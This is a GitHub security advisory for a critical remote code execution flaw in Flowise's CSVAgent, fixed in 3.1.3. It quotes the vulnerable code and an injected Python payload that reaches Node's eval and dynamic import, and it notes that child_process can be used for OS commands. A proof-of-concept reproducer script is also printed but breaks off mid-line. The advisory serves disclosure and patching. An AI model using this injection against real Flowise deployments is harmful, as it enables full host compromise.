GitHub Advisoryadvisory · npm
GHSA-4j8x-x6v7-w9rq Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation
CRITICAL
Official page ↗
- Aliases
- CVE-2026-69264
- Ecosystem
- npm
- Packages
- flowise, flowise-components
- Severity
- Critical
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Weaknesses
- CWE-94, CWE-95
- Reviewed
- 2026-08-04
Affected packages
• npm flowise: < 3.1.3 → fixed in 3.1.3
• npm flowise-components: < 3.1.3 → fixed in 3.1.3
Description
Summary
Flowise's `CSVAgent` interpolates an attacker-controlled segment of the
`csvFile` data URI directly into a Python source-code template that is then
executed by Pyodide. Because Pyodide is loaded with the default `js` bridge
to `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the
attacker can break out of the Python string literal, hand a JS string to
`js.eval`, dynamically import any Node built-in module (`fs`, `child_process`,
…), and execute arbitrary file I/O or OS commands as the Flowise process.
The two validator paths around this code (`validatePythonCodeForDataFrame`
and `validateCustomReadCSVFunction`) are never applied to the bootstrap
template.
A workspace user with `chatflows:create` (or any `agentflows`/`chatflows`
update permission) plants a CSV Agent node with a crafted `csvFile`. Once the
chatflow is exposed via the (whitelisted, public) `POST /api/v1/prediction/:id`
endpoint, *any unauthenticated* request triggers the host RCE.
Details
Vulnerable file: `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`
The `run()` method extracts the file segment from the data URI by splitting on
`,` and using two `pop()` calls (lines 127–138):
```ts
} else {
if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {
files = JSON.parse(csvFileBase64)
} else {
files = [csvFileBase64]
}
for (const file of files) {
if (!file) continue
const splitDataURI = file.split(',')
splitDataURI.pop() // discards trailing filename segment
base64String += splitDataURI.pop() ?? '' // captures the segment we attack
}
}
```
The captured `base64String` is then interpolated verbatim into a Python
source string at lines 156–171:
```ts
const code = `import pandas as pd
import base64
from io import StringIO
import json
base64_string = "${base64String}" // ← line 161: interpolation sink
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink
```
Validator gaps:
• `validateCustomReadCSVFunction(customReadCSVFunc)` runs on line 147, but
this only validates the `customReadCSV` field, not `base64String`.
• `validatePythonCodeForDataFrame(pythonCode)` runs on line 198, but only
against the *LLM-emitted* Python that runs later — never against this
bootstrap template.
• No content check (`^[A-Za-z0-9+/=]*$`) is applied to `base64String` before
interpolation.
Pyodide configuration (`packages/components/nodes/agents/CSVAgent/core.ts`,
lines 7–16):
```ts
export async function LoadPyodide(): Promise {
if (pyodideInstance === undefined) {
const { loadPyodide } = await import('pyodide')
const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }
pyodideInstance = await loadPyodide(obj)
await pyodideInstance.loadPackage(['pandas', 'numpy'])
}
return pyodideInstance
}
```
Pyodide is loaded with default options. On Node.js, the default `js` module
inside Pyodide bridges to `globalThis`, exposing the JS `eval` function and
top-level dynamic `import()`. From injected Python, the attacker runs:
```python
import js
await js.eval(
"(async () => {"
" const fs = await import('fs');"
" fs.writeFileSync('proof.txt', 'pwned');"
"})()"
)
```
…which executes in the host Node.js process, not inside Pyodide's WASM
sandbox. Substituting `await import('child_process')` for `await import('fs')`
yields arbitrary OS-command execution via `cp.execSync(...)` with the same
primitive.
> Node-version note. The original PoC for this issue used
> `js.process.mainModule.require("child_process")`, which is a one-liner but
> only works on Node ≤ 13 because `process.mainModule` was deprecated and now
> returns `undefined` on Node 14+. The `js.eval` + dynamic-`import()` form
> above works on any Node 13.2+ in both CommonJS and ESM contexts, and was
> confirmed end-to-end against a stock `[email protected]` running on Node
> 20.20.2 — see Verified end-to-end against live Flowise
> below.
Trigger path (post-plant): the route `POST /api/v1/prediction/:id` is in
`WHITELIST_URLS` (`packages/server/src/utils/constants.ts:12`); when the
chatflow has no `apikeyid` set, it is reachable unauthenticated. A prediction
request runs the chatflow, instantiates `CSVAgent`, and executes the malicious
bootstrap.
PoC
Verified end-to-end on the cloned repo (commit
`a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d`, the same commit the prior audit
was based on).
Reproducer setup
Two files. Save the first as `package.json`, the second as
`repro_a1_pyodide.js`, then `npm install && node repro_a1_pyodide.js` in the
same directory.
`package.json`:
```json
{
"name": "poc-flowise-s1",
"version": "1.0.0",
"type": "commonjs",
"dependencies": {
"pyodide": "^0.29.3"
}
}
```
`repro_a1_pyodide.js` — mirrors `CSVAgent.ts:127-138` (the data-URI
parser) and `:156-171` (the Python template), then runs the assembled Python
through real Pyodide. The injection segment is checked for commas before
assembly to confirm it cannot be fragmented by the JS-side `split(',')`.
```js
// Full host-RCE PoC for Flowise CSVAgent base64-injection.
//
// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs
// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled
// csvFile data URI. Demonstrates:
// 1. JS-side template-literal interpolation produces malicious Python
// 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)
// 3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic
// import('fs') -> host file write
//
// CONSTRAINTS:
// * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) — segment[2]
// of the data URI is what becomes `base64_string`, so this segment must
// contain NO raw `,` bytes.
// * Inside a Python double-quoted string literal, `,` is the escape
// for `,`. The data-URI parser sees the 6 raw bytes `\`, `u`, `0`, `0`,
// `2`, `c` (no commas), but Python's lexer turns them into commas at
// runtime — letting us pass multiple arguments to JS functions inside
// the Python source.
//
// NODE-VERSION NOTE: an earlier revision of this PoC used
// `cp = js.process.mainModule.require("child_process"); cp.execSync(...)`
// which is shorter but only works on Node ≤ 13 — `process.mainModule` was
// deprecated and now returns `undefined` on Node 14+, so the inner
// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form
// below works on any Node 13.2+ in both CommonJS and ESM contexts and was
// confirmed end-to-end against `[email protected]` running on Node 20.20.2.
const fs = require('fs')
const path = require('path')
const { loadPyodide } = require('pyodide')
const proofName = 'flowise_a1_pyodide_proof.txt'
const proofPath = path.resolve(__dirname, proofName)
const proofMarker = 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'
// --- Attacker payload (Python; comma-free) ----------------------------------
// Closes the `base64_string = "` literal with `";`, runs malicious Python,
// then `#` comments out the surviving closing `"` so the rest of the
// bootstrap template still parses.
const pythonInjection =
'";\n' +
'import js\n' +
`await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\u002c '${proofMarker}'); })()")\n` +
'#'
// Sanity: any commas would fragment the injection on the JS side.
if (pythonInjection.includes(',')) {
throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(",")')
}
const csvFile = `data:text/cs…
Related
Alias · CVE (1)
- CVE-2026-69264 Prior to 3.1.3, Flowise CSVAgent interpolates an attacker-controlled segment of the csvFile data URI directly into a Python source-code… vulnerability
References
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4j8x-x6v7-w9rq web
- https://github.com/FlowiseAI/Flowise/pull/6499 web
- https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c web
- https://github.com/FlowiseAI/Flowise package
- https://github.com/FlowiseAI/Flowise/releases/tag/[email protected] web